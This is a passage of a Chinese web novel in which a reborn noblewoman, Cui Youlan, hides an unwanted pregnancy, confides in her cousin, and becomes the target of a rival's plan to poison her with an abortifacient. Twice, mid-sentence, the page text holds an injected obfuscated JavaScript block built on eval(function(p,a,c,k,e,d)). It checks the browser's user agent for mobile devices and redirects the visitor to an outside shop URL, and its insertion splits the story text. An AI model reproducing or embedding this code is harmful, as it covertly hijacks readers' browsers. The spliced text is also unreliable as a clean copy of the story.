她闻言便笑了一下:“我自然知晓,也不过是赌一把自己的运气没有那么差——还是说你笃定我一定会死,那恐怕就要让你失望了,我肯定会活得好好的。” 最后一句话,崔幼澜几乎是咬牙切齿。 “你非要这样说话吗?”徐述寒只觉说也说不得,动也动不得,无论他说什么做什么,在她面前都是徒劳的,竟是从未如此无力过,“我们何曾到了这种地步?” 崔幼澜的眸子一垂,但很快便又抬起,目光直直地看向他:“我们到了哪种地步,难道你自己不知道吗?” 就算不是他推她下水,可是这么多年的本就不多的夫妻情分早就被磨得一点都不剩了,或许说不多都是她的妄想,他们之间夫妻情分这种东西从一开始就不存在。 徐述寒果然沉默了。 崔幼澜道:“这是我们第二次见面,今日我也已经再次和你说清楚了,以后你不要再来找我,不要出现在我面前,更不要出现在我家附近,我自己的事自己会处理好,不需要你。” 说罢,她转身向着后面的裁冰和凝碧招了招手,两个婢子会意,连忙跑了上来,一左一右伴在崔幼澜身边,护着她赶紧离开。 裁冰手上还紧紧拿着那几包药,路过徐述寒身边时,更是下意识往怀里揣进去,徐述寒回头看了一眼,手指微微抬了抬,有一瞬竟想从裁冰手里把药抢过来,然而终究没有动手。 她的心意已然这么坚决,就算抢了这一次,也依旧有下一次,他拦不住的,而他若是直接不管不顾向崔家坦白此事,万一俞氏像上辈子一样有个三长两短,恐怕崔幼澜会更恨他,他也不会去拿俞氏的性命开玩笑。 似乎只能这样了。 徐述寒闭了闭眼,也只是有那么一刻的挫败与气馁。 崔幼澜如今变得这样不讲道理,他理解她心里有怨,可那也不是她消极的理由,总有一日,他肯定要把她再弄到身边好好说一说,她别想就这么轻易把他打发了。 她最好只是嘴硬,孩子如果真的没了,他不会和她善罢甘休。 *** 崔幼澜一路直奔自家的马车,等进去之后才悄悄舒了一口气,而再看身边的裁冰,已经抖得不行了。 凝碧一双手冰冷,却仍是过来握住崔幼澜的手,小声问:“娘子,你和他到底是怎么回事?” 面对自己亲近的婢子们,崔幼澜也从没想隐瞒过,如今已经确认有了身孕,便直接一五一十地向她们说了出来,又道:“回去之后,你们再悄悄和倚翠剪雪说,除此之外便守口如瓶。” “可是这……瞒不过的呀!”裁冰快要哭出来了,她一向稳重,若不是逼到绝境,万不会如此慌张,“娘子还要入宫,就算不入宫,这样的事……方才徐家郎君既然有意,娘子何不干脆应了他?” “我和他的事,一时半会儿说不清楚。”崔幼澜无法说出前世,又继续说道,“等时机差不多,我会向祖母坦白,到时只说不知那日宫中之人是谁便可。” 无论她在盛都还是在宜州,俞氏都是免不了要知道这件事的,区别就是徐述寒这个人存不存在罢了,崔幼澜还是那句话,既然俞氏要知道,若是由着别人传到她耳朵里,还不如她自己去向俞氏说。 否则她也不会立即决定跟着俞氏回宜州来。 凝碧犹豫道:“老夫人治家严谨,恐怕……娘子,哪有高门贵女未婚有孕的呢?你若还要撇开徐郎君,又去生下孩子,简直是闻所未闻,你就不害怕吗?” 害怕? 崔幼澜苦笑着摇了摇头。 她一点都不害怕,或者说早就过了害怕的时候了,上辈子的她确实是很害怕的,但到最后也无非就是那样,害怕到最后也没有什么用,不过是多了一个夫君,日子还是那样糟糕。 昨夜躺在床上的时候,她就已经来来回回把事情想透彻了。 前世她想放弃这个孩子,若无母亲阻拦怕是也得手了,可如今已然和他见过面也养过他,那七年里几乎是耗尽了全部心血,已经是割舍不下了。 从嫁给徐述寒开始,她的人生里便仿佛都是灰暗的,也只有平哥儿和茵姐儿是熹微的一点亮色,既然如此,倒不如她自己带着平哥儿过下去。 这个选择或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299197|140204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许令人难以理解,但她自己却喜欢,都是重新活一次的人了,当然是自己喜欢就好,至于那些困难,总有解决的办法的,总好过去走前世的老路。 她要平哥儿这辈子健健康康的,他们母子安稳平顺地过下去。 回到崔宅,凝碧已经平复好心情,裁冰还是面色灰白,崔幼澜便让她悄悄拿着药先回去休息,自己和凝碧慢慢往竹风阁走。 春末夏初,时近中午的日头已经有些毒辣,金灿灿在地上铺了一层,泛起热气。 崔幼澜挑着阴凉的地方走,只觉这宅子实在空旷,如今春夏之季尚且如此,还不知冬日里要怎样萧条。 走到一处游廊拐角,崔幼澜正看从花窗里斜出来一枝梨花,不防却迎上一人,双方皆是一惊,连忙避开。 崔幼澜只略瞥了一眼,就大约猜出了眼前年轻男子的身份。 身着锦衣华服,又并非是崔氏族人,除了昭王还会是谁? 她立刻想行礼,昭王却将手一抬:“不必如此,只是不知面前这位是崔家六娘子还是七娘子,也是本王今日不小心冲撞了。” 崔幼澜起身,这才抬眼去打量对方,只见昭王虽不比徐述寒那般风姿昳丽,却也金相玉质,只不过略显清瘦了些,人也有些苍白。 她略一颔首,不慌不忙道:“回殿下的话,我是崔家七娘。” 她心里倒也直犯嘀咕,明明记着如今昭王住在府上,便特意绕开了他住的地方,没想到还是遇上了,好在没有失礼。 若不是在府上请大夫实在是不方便,倒还真的不应该出这个门的。 听见她说自己是崔家七娘,昭王略略一颔首,又再次说道:“七娘子,本王唐突了。” 崔幼澜自然也不想遇到他,但毕竟面前的人是昭王,她也没有被养得那么小家子气,忙笑道:“殿下不必挂怀,您此番落榻崔家,该是我们好好招待您才是,又谈何唐突呢,实在不知此话从何说起。” 也不知昭王有没有听出她的客套话,便听他正色道:“说来也巧,我途径宜州才知道老夫人也在此处,皇后娘娘在我幼时对我有抚养之恩,我视她为母亲,这次来也是想探望老夫人,没想到反而打扰了府上。” “殿下住得舒服才是,祖母见到殿下能来,心里也高兴。”崔幼澜淡淡地笑了笑,恰到好处,“姐姐还在等我,殿下,容我先告退了。” 昭王点点头,看着崔幼澜从他面前走过,脚步有些快,却不显匆忙慌张,反而轻盈盈像一只鸟儿,很快便在转角处不见了背影。 昭王在原地停留,头微微仰起,仿佛在看远处房屋檐角上的浮云。 在宫里出了那样的事,这崔家七娘子真是沉得住气,若不是他发现了端倪才暗暗追查过来,任谁都不会看出崔幼澜已经被人玷污了清白。 她到底知不知道此事是谁暗中谋划,还是说……是她为了不入宫而故意设局? 昭王很快就否定了自己这个猜测,除非皇后帮助,否则崔幼澜还没有这个本事在宫里设局,也不会有这么大的胆量,况且一旦徐述寒翻脸不认人,此举无异于将自己推入深渊,没有哪个女子会做出这样的蠢事。 他苍白的唇微微抿了抿,崔幼澜是崔家最看重的女儿,也是最有可能入宫的人选,一直深受皇后疼爱,看来这宫里宫外,甚至更有可能是崔家内部,都不像表面上看起来那么平静。 且要再看看,事情到底会如何发展。 21. 阴谋 崔清月歇完午觉,来崔幼澜这里找她玩一会儿,却发现崔幼澜这里静悄悄的,平日里几个婢子总是要弄出点动静来,今日却像是集体被毒哑了。 早先崔幼澜同她说过,早上要出门一趟去买东西顺便办事,崔清月素来喜静,崔幼澜不主动邀她一起前去,她自然也不会提出跟着她,而是更喜欢在家里待着,眼下见崔幼澜这里没个人声,崔清月几乎要以为她还没从外面回来了。 她正要喊人,却见剪雪已经从里面出来迎她,对着崔清月挤出一个笑;“六娘子里面请,娘子也刚起身呢!” 崔清月便像往日一样进去,又像往日一样在崔幼澜对面坐下,两人絮絮说起一些话来,都不是什么要紧的事,而是想到什么就说什么。 然而今日除了她和崔幼澜的说话声,裁冰她们竟一点动静都没有,崔清月说着说着察觉到了,奇怪道:“你们几个今天是怎么了?” 裁冰唯恐被崔清月看出来,慌里慌张就要说话,被崔幼澜拦下,崔幼澜轻叹一声,朝着崔清月俯身过去,依在她耳畔轻轻说了几句话。 崔清月听了之后,久久没有说话,像是根本就没有人和她说过什么。 崔幼澜知道崔清月一向循规蹈矩,最是乖顺娴静的人,恐怕是吓到她了,便也不催她,刚要去给崔清月添茶水,却被崔清月一把捏住手腕,崔幼澜一时也没防备,茶水泼出来许多到几案上。 “七妹妹,你说的可是真的?”崔清月的脸已经变得煞白,“这种事不是开玩笑的,你怎么会……” 崔幼澜扔了帕子到溅洒出来的茶水上,很快丝质的帕子便湿了个透顶,失去了原本的颜色。 “事情就是发生了,我也不想吓到姐姐,但你我在一处,姐姐总有一日要知道的。”崔幼澜一字一句说道。 崔清月整个人就和被抽干了力气一样,撑着手边的几案一时说不出话来,甚至连茶水湿了衣袖都没有察觉。 半晌后,崔清月才哑着嗓子说道:“咱们立即回盛都去,你是在宫里出的事,一定要告诉大姐姐,让大姐姐去查,到底是谁把你害成这样!” “没用的,木已成舟,再查也是无用,他们必定早就隐去了痕迹。”崔幼澜垂下眼眸,想起上辈子查了也是没有结果,“我跟着祖母来宜州,就是为了远远避开,我自有打算。” 崔清月立刻接着说道:“你能有什么打算?便是你不想回盛都,也要马上去告诉祖母,这样的事,我们担不起,况且你已经有孕,眼下要马上找到孩子的父亲,否则你……” 崔幼澜按住崔清月轻颤的手,语气平静:“六姐姐,我真的知道该怎么做,姐姐就暂且当做不知情,每天该怎样就是怎样,祖母那里我会找机会坦白。只是或许在某些必要的时候,我可能需要姐姐帮我,不过我也一定不会让姐姐为难。” “你……”崔清月张了张嘴,渐渐明白过来自己拗不过她,最终也只能道,“好吧,你都这样说了,我还能怎么办呢?你去找祖母坦白的时候,我和你一起去,虽然并非你的过错,但唯恐祖母还是要怪罪,我在场也帮你求情几句。” 崔幼澜点点头,又怕崔清月害怕,刚要安慰她,没想到崔清月已经伸手把她搂住,细声道:“妹妹也不要太过忧心,事情总有解决的法子的,多思伤身,有什么便同我说说,我虽是家里最无用的人,但也能帮你疏解一二。” 崔幼澜原本已经盘算好了后面的事,每一步都反反复复想清楚了,她也早过了忧思不断的时候了——那都是上辈子的事了,但眼下听崔清月柔声细语,她心里莫名就是一酸。 这酸好久都没下去,一时她不说话不动作,崔清月也就这么搂着她。 崔幼澜略微侧过头去看崔清月,只见她的眼中满是怜惜,崔幼澜恍惚起来。 前世的时候她恨得不想见任何人,然而除了母亲之外,其他人也对她避之不及,还有不少人在背地里看她笑话。但崔清月是来瞧过她几次的,有几次被她拒之门外,有几次进来了她也不理会她。 崔幼澜承认自己那时其实是对崔清月有过怨恨,甚至是嫉妒的,本来入宫的人是她才对,崔清月却在她出事之后将她取而代之。 很快姐妹俩各奔前程,崔幼澜倒也不再想着过去的事,慢慢淡忘了心结。 可是崔清月死得突然,也就是崔清月的死让崔幼澜幡然悔悟,崔清月并没有抢她什么东西,她被命运推上了不想走的路,崔清月又何尝不是呢? 崔清月甚至是替她受过,如果进宫的是她,那么死的人也很有可能就是她,再退一万步来说,就算她入宫后没有像崔清月一样死去,但崔清月至少在宫外是快活的,不会在产子之后没多久就香消玉殒。 她对不起崔清月,只可惜往事不可追,当初的那个崔清月,已经永远被她远远推开了。 崔幼澜把头埋到崔清月的脖颈边上,呜咽着叫了一声:“姐姐。” 崔清月也没忍住,掖了帕子落下泪来。 一时裁冰几个也都小声抽泣起来。 崔幼澜伤心了一阵,便明白不能继续再这么一起难过下去,她马上收敛回心绪,又看向裁冰她们。 她自然知道她们心里都在想什么,不仅是担心她,也是担心自己,这也正是上辈子已经发生过的事。 这几个婢子,她也对不住她们。 崔幼澜想了想,最终还是没忍住道:“你们几个也放心,后路我都给你们找好了,在向祖母坦白之前,我会先给你们一笔钱,然后偷偷放你们离开。” “娘子把我们当什么了?”裁冰猛地抬头,眼里忽然扑簌簌掉下眼泪,一时哽咽说不出话,剪雪便上前来道,“我们不是想着自己的前程,我们是娘子的人,生死好坏都是和娘子绑在一起的,便是娘子让我们走,我们也不走,难道走了留娘子一个人面对吗?我们只是担心娘子,娘子以后可怎么办?” 裁冰忍住眼泪,拦了剪雪,又说道:“娘子的意思是早晚要和老夫人坦白,可终归这府上还有别人,那蒋夫人就不是个善茬,府上那些人听她话的也多,最近恐怕没少来窥视我们,万一被发现了……” 崔幼澜默了默,只道:“我接下来也有些要紧的事要做。” 语罢,只听崔清月重重叹了一口气。 一时也没有人再说话,最后还是凝碧道:“我去给娘子煎药了,一会儿娘子要喝,我会尽量小心。” 崔幼澜点头,看看她们,又看看崔清月:“这几日,我们要警醒着些了。” *** 深夜,蒋氏安顿好还在养伤的崔文和,便轻手轻脚出来,门口早有个婆子在等她,见她出来忙要说话,被蒋氏一个眼刀扫过去,立刻闭了嘴。 蒋氏带着婆子进了旁边一间厢房,只点了一盏灯,房间里昏暗得紧,那婆子便已双手捧着一样东西举到蒋氏面前。 只见一张油纸上放着一小团黑乎乎的东西,看不出是什么,蒋氏只闻到药味,掩了鼻子皱眉问:“这是什么东西?” 婆子小声道:“安胎药。” 蒋氏翻了个白眼:“好你个钟婆子,这种东西拿过来做什么?我还管府上哪个媳妇生养?” “哎呀不是,不是,”钟婆子原本想讨好卖弄一番,没想到蒋氏这几日脾气更差,连忙说道,“这是七娘子那里捡出来的。” 蒋氏瞪了瞪眼睛:“崔幼澜?这到底什么事?” 钟婆子道:“夫人不是让我盯着竹风阁吗,这就是我从竹风阁拿过来的,七娘子的婢子凝碧亲自倒掉的药渣!” “竹风阁里有人有了身孕!”蒋氏一下子来了兴趣,“可知道是谁吗?” “多半是……”钟婆子贴到她耳边,“七娘子。” 蒋氏心里已经欣喜不已,但她还没有那么蠢去轻信风言风语,忙正色道:“这话可不能胡说,她是要入宫的人。” 钟婆子道:“夫人放心,我已经盯了好几日了,凝碧这药就是端进去给七娘子的,不会错的。” “好,好……”蒋氏的心跳得快要蹦出来,嘴里很快狠狠道,“出了这种丑事还敢喝安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299198|140204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胎药,我看她是不要命了。” 蒋氏隐约觉得,自己上回想要的那个契机,突然就被对方送上门了。 她拉住钟婆子,问:“她这些时日可有接触什么男子?可有出门?你快细说!” 钟婆子装模作样想了一阵,急得蒋氏来回踱步,终于说道:“男子没有,也不大出门,多数时间都和六娘子在一起。” “抓不到奸/夫,这意思就没了一半。”蒋氏一面嘴上喃喃,一面盘算着自己的。 钟婆子上前:“会不会是那个薛泽,不然七娘子吃饱了撑的给他做主?我看他们两个一定有见不得人的事!” 蒋氏没好气道:“薛泽?你脑子发了昏!她来宜州连一个月都不到,就算和薛泽好上了也没那么快的!” 一时钟婆子也没话了,不过半晌后她又道:“还有一件事,仿佛已经许久前了,角门的一个老婆子好像从外面递了一封信给七娘子,当时说过也就没当回事,现在看看是不是和七娘子有孕一事有关系?” “好了好了,不用说了,捕风捉影的事现在还怎么找?”蒋氏眼睛一眯,得意之色突现,“没有男的也无妨了,她落在我手上就够了。” 钟婆子问:“要去告诉老夫人吗?” 蒋氏冷笑着摇了摇头:“不用急,有的是等着她们祖孙俩的。” 这样好的机会送上门来,她岂有放过的道理? 如果马上去告诉俞氏,俞氏一定会对崔幼澜很生气,可也仅此而已,俞氏不可能把亲孙女弄死,崔幼澜最多就是不能入宫了,其他毫发无损,反而极有可能被俞氏极力瞒下这桩丑事。 她先前就恨不得俞氏和崔幼澜去死,只是苦于没办法动手,然而现在不就可以拿崔幼澜怀孕一事大做文章了吗? 蒋氏简直要大笑起来。 真是得来全不费工夫,那丫头看似厉害,没想到竟也是个糊涂的,放着入宫的大好前程不要,偏偏做出这种事情,若不是崔幼澜自己出了事,她还真束手无策,找不到对付俞氏和崔幼澜的办法。 蒋氏深深吸了一口气,屋内只有单枝的蜡烛将她的身影照在墙上,摇摇晃晃,她不停地踱着步,从光亮处走到昏暗处,又从昏暗处走到光亮处。 终于,她停住脚步,冲着不远处的钟婆子招了招手,钟婆子知道她有话要吩咐,便赶紧眼巴巴上前来,被蒋氏一把握住她的手:“钟妈妈,宋娘子前些天也被她们整倒了,我身边最信得过的就是你了,若我此番不好,宅子里这些人也肯定要被那老不死的打发出去的。” 钟婆子立马就懂了她的意思:“夫人您说,您说。” “你明日一早就去弄几帖落胎药,要越猛越好,买回来之后再把几帖药煎成一碗,”蒋氏狠狠咬着牙,仿佛面前已经出现了崔幼澜,“将她喝的药换下来。” 钟婆子犹豫了一下,道:“空子倒是寻得到的,但若是这药下得太猛了,恐怕要出人命的,她如果出了事,老夫人一定会追查下去,夫人还是不要太冲动了。” 蒋氏道:“我没有冲动,你就按我说的去办,只要把那药成功换上去就一切好说了。老东西知道那个小的跟人私通有孕,一怒之下便喂她喝了药,小的没撑住去了,老东西也被她气死了,这样说都说得通,而且这种丢脸的事,盛都恐怕也不敢声张,就算会派了人过来,宜州离盛都到底要好几日的工夫才能到,两个人早就凉了,还能干什么?” “她们身边那么多人伺候着,要堵住这些人的嘴也没有那么容易。”钟婆子继续提醒道。 “怕什么,既然是如此阴私之事,我又有借口不能大张旗鼓,也有办法能遮掩住,最多就是老东西身边的王妈妈,让她殉主去了便是,至于崔七娘身边那几个,出了这样的事谁还会管她们,全都发卖了事。”蒋氏说着说着,再也掩饰不住脸上的笑意,呵呵地笑了出来。 钟婆子是她的人,也不可能再向俞氏去投诚,既然蒋氏已经安排得妥当,又见过蒋氏素日的手段,便也只能照着她说的做,第二日便去弄了药回来。